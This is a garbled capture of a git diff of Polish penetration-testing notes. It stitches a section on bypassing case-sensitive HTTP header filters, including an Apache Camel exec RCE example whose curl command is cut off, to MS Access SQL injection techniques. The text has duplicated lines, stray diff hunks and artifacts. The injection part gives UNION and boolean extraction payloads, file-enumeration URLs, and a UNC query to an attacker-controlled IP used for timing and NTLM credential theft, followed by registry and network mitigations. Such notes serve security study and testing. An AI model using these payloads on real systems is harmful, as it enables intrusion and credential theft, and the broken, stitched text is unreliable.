HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry zabezpieczeń lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją.
|
||||
HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry bezpieczeństwa lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją.
|
||||
|
||||
Typowe sytuacje, w których pojawia się ten błąd:
|
||||
|
||||
* Niestandardowe listy dozwolonych/zabronionych, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu.
|
||||
* Niestandardowe listy dozwolone/zakazane, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu.
|
||||
* Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja `X-Forwarded-For`).
|
||||
* Frameworki, które udostępniają punkty końcowe zarządzania/debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń.
|
||||
* Frameworki, które udostępniają punkty końcowe zarządzania / debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (na przykład, poprzez przeglądanie kodu źródłowego, dokumentacji lub komunikatów o błędach).
|
||||
2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta.
|
||||
2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta.
|
||||
3. Jeśli komponent downstream traktuje nagłówki w sposób niezależny od wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było przeprowadzane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami.
|
||||
W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było przeprowadzane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
|
@ -17,7 +17,7 @@ Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
|
||||
```
|
||||
### Komentarze
|
||||
|
||||
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego elementu zapytania za pomocą znaku NULL:
|
||||
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
@ -35,7 +35,7 @@ Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ogranic
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
Tak jak w TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
||||
Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
|
||||
|
||||
## Zapytania UNION/Zapytania podrzędne
|
||||
|
||||
@ -45,18 +45,18 @@ Dlatego musisz znać **ważną nazwę tabeli**.
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
### Łączenie równań + Podciąg
|
||||
### Chaining equals + Substring
|
||||
|
||||
> [!WARNING]
|
||||
> To pozwoli Ci na wyeksportowanie wartości z bieżącej tabeli bez potrzeby znajomości jej nazwy.
|
||||
|
||||
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
|
||||
|
||||
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksportować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
|
||||
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksportować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika chaining equals i potencjalnie wyeksportować zawartość za pomocą **boolean injection** używając funkcji **`Mid`** do uzyskania podciągów.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciągnąć wszystkie informacje** za pomocą boolean SQLi:
|
||||
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -72,12 +72,12 @@ Możesz również użyć bardziej tradycyjnego sposobu:
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
|
||||
### Brute-Forcing nazw kolumn
|
||||
### Brute-Forcing Columns names
|
||||
|
||||
Możesz **brute-forcować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
|
||||
```sql
|
||||
@ -87,7 +87,7 @@ Lub z **group by**:
|
||||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą:
|
||||
Możesz również przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą:
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
@ -103,7 +103,7 @@ W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK
|
||||
|
||||
### Sztuczki oparte na czasie (ślepe)
|
||||
|
||||
Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w podróży do hosta kontrolowanego przez atakującego.
|
||||
Jet/ACE SQL sam w sobie **nie** udostępnia natywnej funkcji `SLEEP()` lub `WAITFOR`, więc tradycyjne ślepe wstrzyknięcia oparte na czasie są ograniczone. Możesz jednak wprowadzić mierzalne opóźnienie, zmuszając silnik do uzyskania dostępu do **zasobu sieciowego, który jest wolny lub nie odpowiada**. Ponieważ silnik spróbuje otworzyć plik przed zwróceniem wyniku, czas odpowiedzi HTTP odzwierciedla opóźnienie w obie strony do hosta kontrolowanego przez atakującego.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
@ -113,7 +113,7 @@ Wskaź UNC do:
|
||||
* hosta, który zrywa handshake TCP po `SYN-ACK`
|
||||
* pułapki zapory ogniowej
|
||||
|
||||
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być użyte jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w rejestrze w KB5002984. citeturn1search0
|
||||
Dodatkowe sekundy wprowadzone przez zdalne wyszukiwanie mogą być używane jako **oracle czasowy poza pasmem** dla warunków boolowskich (np. wybierz wolną ścieżkę tylko wtedy, gdy wstrzyknięty predykat jest prawdziwy). Microsoft dokumentuje zachowanie zdalnej bazy danych oraz powiązany przełącznik zabijający w KB5002984. citeturn1search0
|
||||
|
||||
### Inne interesujące funkcje
|
||||
|
||||
@ -140,13 +140,13 @@ Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdz
|
||||
|
||||
## Dostęp do systemu plików
|
||||
|
||||
### Pełna ścieżka katalogu głównego serwera WWW
|
||||
### Pełna ścieżka do katalogu głównego serwisu
|
||||
|
||||
Znajomość **absolutnej ścieżki katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
|
||||
Znajomość **absolutnej ścieżki do katalogu głównego serwisu może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka do katalogu może zostać ujawniona, próbując wybrać dane z nieistniejącej bazy danych.
|
||||
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
|
||||
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę do katalogu serwisu**.
|
||||
|
||||
### Enumeracja plików
|
||||
|
||||
@ -154,21 +154,21 @@ Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
Inny sposób enumeracji plików polega na **określeniu elementu database.table**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**.
|
||||
Inny sposób na enumerację plików polega na **określeniu elementu database.table**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**.
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
### Zgadywanie nazwy pliku .mdb
|
||||
|
||||
**Nazwa pliku bazy danych (.mdb)** może być wnioskowana za pomocą następującego zapytania:
|
||||
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Gdzie **name[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||||
Gdzie **name[i] to nazwa pliku .mdb** a **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
|
||||
|
||||
### Zdalny dostęp do bazy danych i kradzież poświadczeń NTLM (2023)
|
||||
|
||||
Od Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN '<path>'`:
|
||||
Od wersji Jet 4.0 każde zapytanie może odnosić się do tabeli znajdującej się w *innym* pliku `.mdb/.accdb` za pomocą klauzuli `IN '<path>'`:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
@ -191,7 +191,7 @@ Impact:
|
||||
|
||||
Mitigations (zalecane nawet dla aplikacji Classic ASP):
|
||||
|
||||
* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod równoważną ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`.
|
||||
* Dodaj wartość rejestru `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod odpowiednią ścieżką ACE). To zmusza Jet/ACE do odrzucenia zdalnych ścieżek zaczynających się od `\\`.
|
||||
* Zablokuj wychodzące SMB/WebDAV na granicy sieci.
|
||||
* Oczyść / parametryzuj każdą część zapytania, która może znaleźć się w klauzuli `IN`.
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user